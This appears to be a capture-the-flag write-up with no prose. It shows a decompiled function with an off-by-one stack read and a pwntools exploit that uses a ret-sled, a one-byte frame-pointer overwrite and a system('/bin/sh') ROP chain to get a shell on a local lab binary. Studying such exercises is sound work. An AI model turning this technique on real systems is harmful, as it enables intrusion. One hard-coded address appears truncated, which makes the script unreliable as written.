超级玉米人の部屋

1
ssize_t vuln()
2
{
3
  _BYTE buf[512]; // [rsp+0h] [rbp-200h] BYREF
4

5
  puts("How many bytes do you want to write?");
6
  __isoc99_scanf("%d", &num);
7
  if ( (unsigned int)num > 0x200 )
8
  {
9
    puts("Too many");
10
    exit(0);
11
  }
12
  puts("I can give you one more");
13
  return read(0, buf, num + 1);
14
}

1
from pwn import *
2

3
FILE = "./pwn"
4

5
context.log_level = "debug"
6
context.binary = FILE
7

8
elf = ELF(FILE)
9
rop = ROP(elf)
10

11
p = process(FILE)
12

13
p.sendlineafter(b"How many bytes do you want to write?\n",b"512")
14
p.recvuntil(b"I can give you one more\n")
15

16
ret=0x4011EE
17
rdi=0x4011ED
18

19
system=0x4011E8
20
binsh=0x40405
21

22
payload = flat(
23
  [
24
    p64(ret) * (0x40 - 3),
25
    p64(rdi),
26
    p64(binsh),
27
    p64(system)
28
  ]
29
) + p8(0)
30
p.send(payload)
31
p.interactive()